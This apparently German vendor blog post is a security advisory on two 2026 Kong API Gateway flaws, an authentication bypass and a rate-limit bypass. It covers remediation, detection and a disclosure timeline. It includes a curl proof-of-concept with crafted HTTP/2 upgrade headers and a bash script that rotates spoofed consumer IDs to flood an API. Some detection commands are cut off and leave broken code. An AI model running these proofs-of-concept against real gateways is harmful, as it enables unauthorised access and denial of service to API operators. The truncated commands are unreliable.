Zwei kritische Schwachstellen in Kong API Gateway – eine Umgehung der Authentifizierung (CVE-2026-29413) und eine Schwachstelle zur Umgehung der Ratenbegrenzung (CVE-2026-29414) – setzen die API-Infrastruktur unbefugten Zugriffen und Denial-of-Service-Angriffen aus. Sowohl Kong OSS als auch Kong Enterprise sind betroffen. Eine sofortige Aktualisierung ist erforderlich.
In Kong API Gateway, einem der am weitesten verbreiteten quelloffenen API-Gateways, wurden zwei kritische Sicherheitslücken in der Plugin-Verarbeitungspipeline entdeckt. Die am 28. März 2026 offengelegten Schwachstellen betreffen alle Versionen von 3.4.x bis 3.8.x und ermöglichen es Angreifern, Authentifizierungs-Plugins vollständig zu umgehen und konfigurierte Kontrollen zur Ratenbegrenzung außer Kraft zu setzen.
CISA hat CVE-2026-29413 nach bestätigten Angriffen auf API-Gateways von Finanzdienstleistern und Einrichtungen des Gesundheitswesens in den Katalog der bekannten ausgenutzten Schwachstellen (KEV) aufgenommen. Organisationen, die Kong 3.4–3.8 einsetzen, sollten dies als Notfall für eine sofortige Aktualisierung behandeln.
| CVE | Typ | CVSS v3.1 | Schweregrad | Betroffene Versionen |
|---|---|---|---|---|
| CVE-2026-29413 | Umgehung der Authentifizierung | 9.8 | Kritisch | Kong 3.4.x – 3.8.x |
| CVE-2026-29414 | Umgehung der Ratenbegrenzung | 7.5 | Hoch | Kong 3.2.x – 3.8.x |
CVE-2026-29413 ist ein Logikfehler in der Ausführungsreihenfolge der Kong-Plugins innerhalb der Rewrite-Phase des Nginx-Anfragelebenszyklus. Wenn mehrere Authentifizierungs-Plugins verkettet sind (z. B. key-auth gefolgt von jwt), ermöglicht eine Race Condition bei der Auflösung der Plugin-Prioritäten einer präparierten Anfrage, die Authentifizierungsprüfung vollständig zu überspringen, sofern bestimmte HTTP/2-Pseudo-Header vorhanden sind.
Die Schwachstelle hat ihren Ursprung im Lua-Plugin-Runner von Kong (kong/runloop/plugin_servers/mp_rpc.lua). Dort wertet der Iterator next_rewrite_phase die Plugin-Kette nicht korrekt neu aus, wenn ein Upstream vor Abschluss der Authentifizierung mit 101 Switching Protocols antwortet. Dadurch entsteht ein Zeitfenster, in dem die Anfrage ohne jegliche Authentifizierungsprüfung weitergeleitet wird.
| Metrik | Wert | Begründung |
|---|---|---|
| Angriffsvektor | Netzwerk | Remote über HTTP/HTTPS ausnutzbar |
| Angriffskomplexität | Niedrig | Keine besonderen Bedingungen oder Berechtigungen erforderlich |
| Erforderliche Berechtigungen | Keine | Nicht authentifizierter Angreifer |
| Benutzerinteraktion | Keine | Vollständig automatisierte Ausnutzung möglich |
| Vertraulichkeit | Hoch | Vollständiger Zugriff auf geschützte API-Endpunkte |
| Integrität | Hoch | Angreifer kann Backend-Daten verändern |
| Verfügbarkeit | Hoch | Uneingeschränkte Backend-Anfragen |
Ein Angreifer kann CVE-2026-29413 mit einer minimalen HTTP/2-Anfrage und präparierten Pseudo-Headern ausnutzen. Der folgende curl-Befehl demonstriert eine Proof-of-Concept-Umgehung bei einem Kong-Gateway mit aktiviertem key-auth:
# Normale Anfrage – vom key-auth-Plugin blockiert (401 Unauthorized) curl -i https://api.example.com/v1/users \ -H "Host: api.example.com" # Umgehung von CVE-2026-29413 – sendet HTTP/2-Upgrade-Auslöser mit fehlerhaftem :authority curl -i --http2 https://api.example.com/v1/users \ -H ":authority: api.example.com\x00injected" \ -H "Connection: Upgrade, HTTP2-Settings" \ -H "Upgrade: h2c" \ -H "HTTP2-Settings: AAMAAABkAAQAAP__" \ --resolve api.example.com:443:192.0.2.1
Wenn Kong das h2c-Upgrade verarbeitet, beendet der Plugin-Runner die Authentifizierungsphase vorzeitig. Die Anfrage wird an den Upstream-Dienst weitergeleitet und mit 200 OK beantwortet, wodurch alle konfigurierten Authentifizierungs-Plugins vollständig umgangen werden.
Die folgenden Authentifizierungs-Plugins sind anfällig, wenn Kong in Version 3.4.x–3.8.x ausgeführt wird:
key-auth – API-Schlüsselauthentifizierungjwt – Validierung von JSON Web Tokensbasic-auth – HTTP-Basic-Authentifizierungoauth2 – OAuth-2.0-Autorisierung (teilweise Umgehung)ldap-auth – LDAP-Verzeichnisauthentifizierungopenid-connect (nur Kong Enterprise) – OIDC-AbläufeCVE-2026-29414 betrifft die Kong-Plugins rate-limiting und rate-limiting-advanced, wenn diese für die Verwendung der Speicher-Backends Redis oder cluster konfiguriert sind. Ein Fehler bei der Erstellung des Zählerschlüssels ermöglicht es einem Angreifer, seine Anfragen durch Manipulation des Headers X-Consumer-ID in Verbindung mit dem Spoofing von X-Forwarded-For auf mehrere synthetische Verbraucheridentitäten zu verteilen.
Beim Erstellen des Schlüssels für den Ratenbegrenzungszähler verkettet Kong die Verbraucher-ID und die IP-Adresse, ohne zu prüfen, ob die Verbraucher-ID vom Gateway selbst gesetzt oder vom Client eingeschleust wurde. In Bereitstellungen, in denen ein Upstream-Proxy oder Load Balancer X-Consumer-ID setzt, kann die Header-Vertrauenslogik von Kong missbraucht werden, um eine praktisch unbegrenzte Anzahl separater Ratenbegrenzungs-Buckets zu erzeugen.
| Metrik | Wert | Begründung |
|---|---|---|
| Angriffsvektor | Netzwerk | Remote ausnutzbar |
| Angriffskomplexität | Niedrig | Einfache Header-Manipulation |
| Erforderliche Berechtigungen | Keine | Keine vorherige Authentifizierung erforderlich |
| Auswirkung: Verfügbarkeit | Hoch | Backend-DoS durch Umgehung der Ratenbegrenzung |
Das folgende Skript demonstriert, wie ein Angreifer 10.000 Anfragen senden und dabei durch rotierende synthetische Verbraucher-IDs eine Ratenbegrenzung von 100 Anfragen pro Minute umgehen kann:
#!/bin/bash # CVE-2026-29414 – PoC zur Umgehung der Ratenbegrenzung # Jede Anfrage verwendet eine eindeutige X-Consumer-ID und erhält dadurch einen eigenen Zähler-Bucket TARGET="https://api.example.com/v1/products" TOTAL_REQUESTS=10000 for i in $(seq 1 $TOTAL_REQUESTS); do # Für jede Anfrage eine eindeutige gefälschte Verbraucher-ID erzeugen FAKE_CONSUMER_ID=$(cat /proc/sys/kernel/random/uuid) curl -s -o /dev/null -w "%{http_code}\n" "$TARGET" \ -H "X-Consumer-ID: $FAKE_CONSUMER_ID" \ -H "X-Forwarded-For: 10.0.$((RANDOM % 256)).$((RANDOM % 256))" \ -H "apikey: legitimate-api-key" & # Auf 50 gleichzeitige Anfragen begrenzen if (( i % 50 == 0 )); then wait; fi done wait echo "Fertig: $TOTAL_REQUESTS Anfragen gesendet"
Auf einer anfälligen Kong-Instanz sendet dieses Skript trotz eines konfigurierten Limits von 100 Anfragen pro Minute und Verbraucher erfolgreich alle 10.000 Anfragen. Dadurch wird ein langsamer, schwer erkennbarer Angriff zum Missbrauch der API oder zur Brute-Force-Enumeration ermöglicht.
| Funktion / Auswirkung | Kong OSS | Kong Enterprise |
|---|---|---|
| CVE-2026-29413 Authentifizierungsumgehung | Betroffen | Betroffen (+ OIDC-Plugin) |
| CVE-2026-29414 Umgehung der Ratenbegrenzung | Betroffen | Betroffen |
| Erweitertes Ratenbegrenzungs-Plugin | Nicht verfügbar | Betroffen (zusätzlicher Umgehungsvektor) |
| Exposition des Entwicklerportals | N. z. | Portal-APIs könnten exponiert sein |
| Konnect (SaaS) | N. z. | Am 29. März 2026 von Kong gepatcht |
| Behoben in Version | 3.9.0 | 3.9.0.0 / 3.8.1.2 (Backport) |
Kong-Enterprise-Kunden auf der Konnect-SaaS-Plattform wurden am 29. März 2026 automatisch gepatcht. Selbst gehostete Enterprise- und alle OSS-Bereitstellungen müssen manuell aktualisiert werden.
Prüfen Sie die Zugriffsprotokolle von Kong auf Anzeichen einer Ausnutzung von CVE-2026-29413. Zu verdächtigen Mustern gehören durch Authentifizierungs-Plugins geschützte Routen, die 200 zurückgeben, ohne dass entsprechende Protokolleinträge zur Prüfung von Authentifizierungs-Headern vorhanden sind:
# Kong-Zugriffsprotokolle nach Indikatoren für eine Authentifizierungsumgehung durchsuchen # Anfragen an geschützte Routen ohne apikey/jwt, die dennoch 200 zurückgeben grep '"status":200' /var/log/kong/access.log \ | jq -r 'select(.request.headers["apikey"] == null and .request.headers["authorization"] == null)' \ | jq '{time: .started_at, path: .request.uri, consumer: .authenticated_entity}' # CVE-2026-29414: Nach hohem Anfragevolumen von eindeutigen Verbraucher-IDs suchen grep '"plugin":"rate-limiting"' /var/log/kong/error.log \ | awk -F'"consumer_id":"' '{print
}' \ | awk -F'"' '{print
# Kong-Version über die Admin API prüfen curl -s http://localhost:8001/ | jq '.version' # Alle Ratenbegrenzungs-Plugins auflisten, um die Konfiguration zu prüfen curl -s http://localhost:8001/plugins \ | jq '.data[] | select(.name | test("rate-limiting")) | {id, name, config}' # Konfiguration vertrauenswürdiger Header prüfen (trusted_ips) curl -s http://localhost:8001/config \ | jq '.trusted_ips'
Die primäre Lösung ist ein Upgrade auf Kong 3.9.0 (OSS) oder Kong Enterprise 3.9.0.0 / 3.8.1.2. Verwenden Sie für gängige Bereitstellungsmethoden die folgenden Befehle:
# Docker – gepatchtes Image abrufen docker pull kong:3.9.0 docker stop kong && docker rm kong docker run -d --name kong \ --network=kong-net \ -e KONG_DATABASE=postgres \ -e KONG_PG_HOST=kong-database \ -p 8000:8000 -p 8443:8443 \ kong:3.9.0 # Kubernetes – fortlaufende Aktualisierung über Helm helm repo update helm upgrade kong kong/kong \ --namespace kong \ --set image.tag=3.9.0 \ --reuse-values # Paketaktualisierung unter Ubuntu/Debian curl -Lo kong.deb "https://packages.konghq.com/public/gateway-39/deb/debian/pool/buster/main/k/ko/kong_3.9.0_amd64.deb" sudo dpkg -i kong.deb sudo kong restart
Bis Sie das Upgrade durchführen können, sollten Sie einschränken, welchen Upstream-IPs Kong bei den Headern X-Consumer-ID und X-Forwarded-For vertraut. Bearbeiten Sie kong.conf:
# kong.conf – vertrauenswürdige IPs ausschließlich auf bekannte Load-Balancer-Adressen beschränken trusted_ips = 10.0.1.10,10.0.1.11,10.0.1.12 # Weitergabe des Headers X-Consumer-ID von Clients deaktivieren headers = X-Kong-Upstream-Latency, X-Kong-Proxy-Latency, Via
Als vorübergehende Abhilfemaßnahme vor dem Upgrade können Sie die Verarbeitung von HTTP/2-Upgrades deaktivieren, sofern Ihre Umgebung diese nicht benötigt:
# kong.conf – Verarbeitung von h2c-Upgrades (HTTP/2 im Klartext) deaktivieren proxy_listen = 0.0.0.0:8000 reuseport backlog=16384 # Falls vorhanden, die Direktive 'http2' aus proxy_listen entfernen # proxy_listen = 0.0.0.0:8000 http2 reuseport ← Schlüsselwort 'http2' ENTFERNEN # Zum Schutz auf Nginx-Ebene zu nginx_http_include hinzufügen: proxy_http_version 1.1;
# Prüfen, ob die gepatchte Version ausgeführt wird curl -s http://localhost:8001/ | jq -r '"Kong-Version: " + .version' # Prüfen, ob die Authentifizierungsumgehung nicht mehr möglich ist (sollte 401 zurückgeben) curl -i --http2 https://your-gateway.example.com/protected-route \ -H "Connection: Upgrade, HTTP2-Settings" \ -H "Upgrade: h2c" \ -H "HTTP2-Settings: AAMAAABkAAQAAP__" # Erwartet: HTTP/1.1 401 Unauthorized
h2c-Upgrade-Header und die Einschleusung von X-Consumer-ID blockieren, bieten mehrschichtigen Schutz./audit/requests aktivieren, um eine forensische Spur der Änderungen an der Admin API zu erhalten.| Datum | Ereignis |
|---|---|
| 2026-02-14 | Schwachstellen über HackerOne an das Sicherheitsteam von Kong gemeldet |
| 2026-02-17 | Kong bestätigt beide CVEs und weist Kennungen zu |
| 2026-03-10 | CVE-Kennungen reserviert: CVE-2026-29413, CVE-2026-29414 |
| 2026-03-28 | Kong 3.9.0 und Enterprise-Backport 3.8.1.2 veröffentlicht |
| 2026-03-29 | Kong Konnect (SaaS) automatisch gepatcht |
| 2026-04-01 | CISA nimmt CVE-2026-29413 in den KEV-Katalog auf |
| 2026-04-02 | Öffentliches Exploit-PoC auf GitHub veröffentlicht |
AI-gestütztes Schwachstellenmanagement mit mehr als 331.910 erfassten CVEs. Erkennen Sie Kong-CVEs, Fehlkonfigurationen und exponierte API-Endpunkte, bevor Angreifer es tun.
Kostenlose Testversion startenBleiben Sie sicher. Bleiben Sie wachsam.
🗡️ KENSAI-Sicherheitsteam
🛡️ Ist Ihr API-Gateway sicher?
Entdecken Sie Kong-CVEs und Fehlkonfigurationen, bevor Angreifer es tun.
Ihr API-Gateway kostenlos scannen →Dieser erfolgreiche Beitrag leitet den Datenverkehr jetzt zu strategischen Bug-Bounty- und Archivseiten weiter, statt in einer Sackgasse zu enden.